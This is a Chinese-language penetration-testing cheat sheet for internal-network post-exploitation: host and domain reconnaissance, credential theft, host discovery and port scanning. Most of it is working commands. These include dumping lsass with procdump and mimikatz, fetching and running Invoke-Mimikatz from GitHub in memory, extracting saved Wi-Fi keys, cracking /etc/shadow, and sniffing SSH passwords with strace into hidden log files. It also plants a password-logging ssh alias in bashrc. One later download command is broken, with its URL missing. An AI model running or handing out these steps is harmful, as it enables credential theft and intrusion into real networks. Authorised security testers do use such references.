本機信息收集:1.查詢賬戶信息2.查詢網絡和端口信息3.查詢進程列表4.查詢系統和補丁信息5.憑證收集。域內信息收集:1.判斷是否有域2.查找域管理員3.找到域控。登錄憑證竊取:Windows下登錄憑證竊取;Linux下登錄憑證竊取技巧。存活主機探測。內網端口掃描。
滲透測試的本質是信息收集,我們可以將內網信息收集大致分為5個步驟,即本機信息收集、域內信息收集、登錄憑證竊取、存活主機探測、內網端口掃描。
本機信息收集
1.查詢賬戶信息:
對當前主機的用戶角色和用戶權限做了解,判斷是否需要進一步提升權限。
win:whoami、net user 用戶名
linux:whoami、id、cat /etc/shadow、cat /etc/passwd
2.查詢網絡和端口信息
根據目的主機的IP地址/網絡連接/相關網絡地址,確認所連接的網絡情況。
win:ipconfig、netstat -ano
ARP表:arp -a
路由表: route print
查看dns緩存記錄命令:ipconfig/displaydns
linux:ifconfig、netstat -anplt
ARP表:arp -a / 路由表:route -n
查看登錄日志獲取登錄來源ip
3.查詢進程列表
查看本地運行的所有進程,確認本地軟件運行情況,重點可以關注安全軟件。
win:tasklist
linux: ps、 top
4.查詢系統和補丁信息
獲取當前主機的系統版本和補丁更新情況,可用來輔助提升權限。
win:systeminfo,查詢系統信息/補丁安裝情況。
wmic qfe get Caption,description,HotfixID,installedOn
wmic qfe list full 查詢全部信息
Linux: 通過查看內核版本 uname -a 或者使用rpm -qa來查詢安裝了哪些軟件包
5.憑證收集
服務器端存有敏感信息,通過收集各種登錄憑證以便擴大戰果。
Windows: 本地密碼Hash和明文密碼/抓取瀏覽器密碼/服務端明文密碼
linux:history記錄敏感操作/shadow文件破解/mimipenguin抓取密碼/使用Strace收集登錄憑證/全盤搜索敏感信息
域內信息收集
搜集完本機相關信息后,就需要判斷當前主機是否在域內,如果在域內,就需要進一步收集域內信息
1.判斷是否有域
一般域服務器都會同時作為時間服務器,所以使用下面命令判斷主域
運行 net time /domain 該命令后,一般會有如下三種情況:
1.存在域,但當前用戶不是域用戶,提示說明權限不夠
C:\Users>bypass>net time /domain
發生系統錯誤 5
拒絕訪問。
2.存在域,并且當前用戶是域用戶
C:\Users\Administrator>net time /domain
\\dc.test.com 的當前時間是 2020/10/23 21:18:37
命令成功完成。
3.當前網絡環境為工作組,不存在域
C:\Users\Administrator>net time /domain
找不到域 WORKGROUP 的域控制器。
2.查找域管理員
net user /domain
net group /domain
net group “Domain Admins” /domain
net group "Domain Controllers" /domain
net localgroup administrators /domain
3.找到域控
nslookup/ping 域名,解析到域控服務器IP地址
登錄憑證竊取
Windows下登錄憑證竊取
1、Windows 本地密碼Hash
Windows的系統密碼hash默認情況下一般由兩部分組成:第一部分是LM-hash,第二部分是NTLM-hash。Windows系統下hash密碼格式用戶名稱
例如:
Administrator:500:AF01DF70036EBACFAAD3B435B51404EE:44F077E27F6FEF69E7BD834C7242B040
用戶名稱為:Administrator
RID為:500
LM-HASH值為:AF01DF70036EBACFAAD3B435B51404EE
NT-HASH值為:44F077E27F6FEF69E7BD834C7242B040
破解方式一:hash在線破解網站:
https://www.objectif-securite.ch/ophcrack
http://cmd5.com
mimikatz使用起來也非常簡單,提取Windows系統的明文密碼只需兩行命令:
privilege::debug
破解方式三:wce
wce的常用參數使用說明如下:
參數解釋:
-l 列出登錄的會話和NTLM憑據(默認值)
-s 修改當前登錄會話的NTLM憑據 參數:<用戶名>:<域名>:<LM哈希>:<NT哈希>
-w 通過摘要式認證緩存一個明文的密碼
破解方式四:Powershell+mimikatz
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
破解方式五:prodump+mimikatz
procdump是微軟官方提供的一個小工具
微軟官方下載地址:<https://technet.microsoft.com/en-us/sysinternals/dd996900>
# 將工具拷貝到目標機器上執行如下命令(需要管理員權限,我選擇的版本是64位)
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# 將生成的內存dump文件拷貝到mimikatz同目錄下,雙擊打開mimikatz執行情況如圖:
mimikatz # sekurlsa::minidump lsass.dmp
# Switch to MINIDUMP
mimikatz # sekurlsa::logonPasswords full
2、抓取瀏覽器密碼
很多瀏覽器都提供了記住密碼的功能,用戶在登錄一些網站的時候會選擇記住密碼。
LaZagne:提取瀏覽器所保存的密碼
github項目地址:https://github.com/AlessandroZ/LaZagne
3、服務端明文密碼
在一些配置文件或日志里,明文記錄著敏感的密碼信息,如web.config、config.ini等文件,可通過手動翻查敏感目錄,也可以通過findstr命令來查找敏感文件和內容。
findstr /i /s "password" *.config
findstr /i /s "password" *.ini
findstr /i /s "password" *.xml
4、第三方運維工具托管密碼
常見的有Linux運維工具,如Putty、xshell、winscp等,RDP管理工具,Remote Desktop Organizer,遠控軟件:Teamviewer、向日葵、VNC等。
xshell 密碼解密工具:https://github.com/dzxs/Xdecrypt
提取WinSCP,PuTTY等保存的會話信息:https://github.com/Arvanaghi/SessionGopher
從內存中提權TeamViewer密碼的工具:https://github.com/attackercan/teamviewer-dumper
5、查看電腦wifi密碼
# 查看電腦連接過的所有wifi
netsh wlan show profiles
# 查看wifi信號為Aaron的密碼
netsh wlan show profiles name="Aaron" key=clear
# CMD一鍵獲取 所有連接過的WIFI密碼
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
Linux下登錄憑證竊取技巧
01、history記錄敏感操作
Linux系統會自動把用戶的操作命令記錄到歷史列表中,當用戶在命令行中輸入賬號、密碼進行登錄時,將會導致敏感信息泄露。
02、shadow文件破解
shadow用于存儲 Linux 系統中用戶的密碼信息,以一個用例來說明:
root:$1$aXmGMjXX$MGrR.Hquwr7UVMwOGOzJV0:
99999
密碼域密文由三部分組成,即:idsalt$encrypted。當id=1,采用md5進行加密,弱口令容易被破解。
當id為5時,采用SHA256進行加密,id為6時,采用SHA512進行加密,可以通過john進行暴力破解。
wget https://www.openwall.com/john/k/john-1.9.0.tar.gz
tar -zxvf john-1.9.0.tar.gz
make clean linux-x86-64
./john /etc/shadow
03、mimipenguin抓取密碼
一款Linux下的密碼抓取神器,需要root權限運行,通過轉儲進程并提取很可能包含明文密碼的行來利用內存中的明文憑證,目前支持Kali、Ubnutu等操作系統。
https://github.com/huntergregal/mimipenguin
04、使用Strace收集登錄憑證
strace是一個動態跟蹤工具,堪比鍵盤記錄器的存在,可用來收集登錄憑證。
(1)獲取sshd進程明文密碼
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
使用正在來匹配用戶和密碼
# 查找用戶名和密碼
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log
# 結果形式如下
[pid 2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9
[pid 2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27
[pid 2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9
(2)收集ssh登陸憑證
# 添加命令別名
vi ~/.bashrc或者/etc/bashrc
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
# 使命令別名立即生效
source ~/.bashrc
通過grep 找到匹配行的后8行,可以根據密碼長度調整行數
grep -A 9 'password' .ssh-25Sep091601017212.log
05、tcpdump 抓包分析
抓取數據包進行分析,獲取明文賬號密碼,比如ftp、telnet、http。
tcpdump -i ens33 port 23 -w test.cap
06、全盤搜索敏感信息
全局搜索配置文件、腳本、數據庫、日志文件是否有包含密碼。
grep -rn "password=" /
07、swap_digger
一個用于自動進行Linux交換分析bash腳本,自動進行交換提取,并搜索Linux用戶憑據,Web表單憑據,Web表單電子郵件,HTTP基本身份驗證,WiFi SSID和密鑰等。
github項目收集:
https://github.com/sevagas/swap_digger
08、Impost3r
一個利用C語言編寫,用來竊取linux下各類密碼(ssh,su,sudo)的工具。
github項目收集:
https://github.com/ph4ntonn/Impost3r
存活主機探測
在滲透中,當我們拿下一臺服務器作為跳板機進一步進行內網滲透時,往往需要通過主機存活探測和端口掃描來收集內網資產。
我們將主機掃描的場景大致可分為三種,1)直接在webshell下執行,通過系統自帶命令或上傳腳本工具進行掃描探測 ;2)通過反彈shell進行內網滲透,msf等滲透測試框架自帶一些掃描模塊;3)通過socks代理掃描內網(例如 proxychains+Nmap掃描)。
在合適的場景下,選擇最合適的武器。比如支持存活探測的協議,包括了 ARP、ICMP、SMB、 UDP、NETBIOS、SNMP協議等;支持端口掃描的方式,包括ACK掃描、SYN掃描、TCP掃描、UDP掃描、ICMP掃描等。
01.ping
我們經常通過ping檢查網絡連通性,通過telnet來測試指定端口連通性。使用系統自帶的命令來完成C段探測,雖然效率低,但不容易觸發安全規則。如果服務器開啟了防火墻或者禁ping,那么就會影響探測結果。
Windows下使用ping命令掃描C段:
for /l %i in (1,1,255) do @ping 192.168.64.%i -w 1 -n 1|find /i "ttl="
Linux 下使用ping命令掃描C段:
for k in $( seq 1 255);do ping -c 1 192.168.99.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
另外,還可以結合系統自帶的traceroute、arp 、netstat等命令收集內網信息,curl、wget可以用來做端口探測。
2.Powershell
通過powershell腳本掃描IP地址存活:
powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1;Invoke-TSPingSweep -StartAddress 192.168.1.0 -EndAddress 192.168.1.255"
腳本下載地址:https://gallery.technet.microsoft.com/scriptcenter/Invoke-TSPingSweep-b71f1b9b
用PowerShell實現基本的端口掃描功能。
針對單個IP的多個端口的掃描:
PS C:\Users\Bypass> 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.246.44",$_)) "Port $_ is open!"} 2>$null
針對某IP段中單個端口的掃描:
foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.1.$ip}
針對某IP段 & 多個端口的掃描器
1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.$a",$_)) "Port $_ is open!"} 2>$null}
3.基于MSF的內網主機探測
使用msf進行反彈shell進行內網滲透時,通過msf自帶的掃描模塊進行快速掃描。
主機存活探測:
auxiliary/scanner/discovery/arp_sweep ARP掃描
auxiliary/scanner/discovery/udp_sweep UDP掃描
auxiliary/scanner/netbios/nbname NETBIOS掃描
auxiliary/scanner/snmp/snmp_enum SNMP掃描
auxiliary/scanner/smb/smb_version SMB掃描
端口掃描:
auxiliary/scanner/portscan/ack TCP ACK端口掃描
auxiliary/scanner/portscan/ftpbounce FTP bounce端口掃描
auxiliary/scanner/portscan/syn SYN端口掃描
auxiliary/scanner/portscan/tcp TCP端口掃描
auxiliary/scanner/portscan/xmas TCP XMas端口掃描
04、Nmap
Nmap是一個端口掃描器,可用于主機發現、端口掃描、版本檢測、OS檢測等。
使用場景:建立socks代理,proxychains+Nmap掃描內網。
支持多種掃描模式:
-sT: TCP 掃描
-sS: SYN 掃描
-sA: ACK 掃描
-sF:FIN掃描
-sU: UDP 掃描
-sR: RPC 掃描
-sP: ICMP掃描
快速掃描所有端口:
nmap -sS -p 1-65535 -v 192.168.99.177
內網端口掃描
1、利用telnet進行端口掃描
快速探測主機是否存在常見的高危端口
telnet 192.168.0.2 22 telnet 192.168.0.2 3306
2、Metasploit端口掃描
Metasploit滲透測試利器,提供了很多漏洞利用、掃描功能。
auxiliary/scanner/portscan/ack ACK防火墻掃描
auxiliary/scanner/portscan/ftpbounce FTP跳端口掃描
auxiliary/scanner/portscan/syn SYN端口掃描
auxiliary/scanner/portscan/tcp TCP端口掃描
使用auxiliary/scanner/portscan/tcp模塊示例
use auxiliary/scanner/portscan/tcp
show options
3、PowerSploit的Invoke-portscan.ps1
無文件形式掃描:
powershell.exe -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘ -Hosts 192.168.1.0/24 -T 4 -ports ‘445,1433,80,8080,3389’ -oA c:\ProgramData\ip_info”
4、Nishang的Invoke-PortScan模塊
獲取幫助
Get-Help Invoke-PortScan -full
StartAddress 掃描范圍開始地址
EndAddress 掃描范圍結束地址
ScanPort 進行端口掃描
Port 指定掃描端口,不指定port,則默認端口為 21,22,23,53,69,71,80,98,110,139,111, 389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389, 5801,5900,5555,5901
TimeOut 設置超時時間
-ResolveHost 解析主機名
掃描存活主機及端口并解析主機名
使用方式
Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.10.254 -ResolveHost -ScanPort
5、Nmap
https://www.cnblogs.com/iAmSoScArEd/p/10585863.html
6、端口利用
具體信息及利用速查 :https://www.cnblogs.com/iAmSoScArEd/p/10564262.html
根據banner信息,可以在CVE庫對指定服務、版本進行漏洞查詢
或使用Exploit-DB查詢PoC、EXP